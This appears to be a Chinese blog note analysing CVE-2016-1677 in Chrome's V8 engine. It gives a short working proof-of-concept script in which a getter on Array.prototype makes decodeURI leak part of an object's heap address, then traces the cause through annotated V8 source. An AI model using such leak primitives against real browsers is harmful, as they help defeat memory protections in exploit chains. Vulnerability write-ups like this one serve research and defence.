CVE-2016-1677

| categories notes 
tags CVE分析 

https://bugs.chromium.org/p/chromium/issues/detail?id=602970

test.js

var num = new Number(10);
Array.prototype.__defineGetter__(0,function(){
    return num;
})
Array.prototype.__defineSetter__(0,function(value){
})
var str=decodeURI("%E7%9A%84");
//in 32bit system, the leaked bits is [31..16] 
//in 64bit system, the leaked bits is [47..32] 
print("partial address of object num is "+str.charCodeAt(0).toString(16));

exec: d8 test.js

output: num对象的地址

原因:

https://codereview.chromium.org/1889133003/diff/1/src/js/uri.js
 
 --src/js/uri.js
 18  var GlobalArray = global.Array;      // 取的数组是JS的数组,看上面的PoC,数组的 getter 被覆盖了,每次取到的都是一个对象,而非数字字面值
 ... 
 203 function Decode(uri, reserved) {    // 入口
 ...
 251         var octets = new GlobalArray(n);    // 关键
 ...
 259         index = URIDecodeOctets(octets, two_byte, index); // 这里跟进 URIDecodeOctets 函数
 ...
 ...
 116 function URIDecodeOctets(octets, result, index) {	 115 function URIDecodeOctets(octets, result, index) {
 117   var value;	 116   var value;
 118   var o0 = octets[0];	 117   var o0 = octets[0];
 119   if (o0 < 0x80) {	 118   if (o0 < 0x80) {
 120     value = o0;                                // 注意,这里 value 取到的为 PoC 里的对象,而非数字字面值
 ...
 162   if (value < 0x10000) {	 161   if (value < 0x10000) {
 163     %_TwoByteSeqStringSetChar(index++, value, result); // 这里第二个参数,为 PoC 里的对象,非数字,跟进去,在 src/full-codegen/x64/full-codegen-x64.cc 里
 
 --src/full-codegen/x64/full-codegen-x64.cc
 (直接复制原报告的内容了)
 void FullCodeGenerator::EmitTwoByteSeqStringSetChar(CallRuntime* expr) {
  ZoneList<Expression*>* args = expr->arguments();
  DCHECK_EQ(3, args->length());

  Register string = rax;
  Register index = rbx;
  Register value = rcx;

  VisitForStackValue(args->at(0));        // index
  VisitForStackValue(args->at(1));        // value------> maybe point of heap object, i guess
  VisitForAccumulatorValue(args->at(2));  // string
  PopOperand(value);
  PopOperand(index);

  if (FLAG_debug_code) {
    __ Check(__ CheckSmi(value), kNonSmiValue);
    __ Check(__ CheckSmi(index), kNonSmiValue);
  }

  __ SmiToInteger32(value, value);        -----------> treat value as smi
  // 这里对应的是一条汇编指令,这里 value 的值就是地址了,最后地址被当作数字处理后返回
  __ SmiToInteger32(index, index);

  if (FLAG_debug_code) {
    static const uint32_t two_byte_seq_type = kSeqStringTag | kTwoByteStringTag;
    __ EmitSeqStringSetCharCheck(string, index, value, two_byte_seq_type);
  }

  __ movw(FieldOperand(string, index, times_2, SeqTwoByteString::kHeaderSize),
          value);
  context()->Plug(rax);
 }

 
If you liked this post, you can share it with your followers !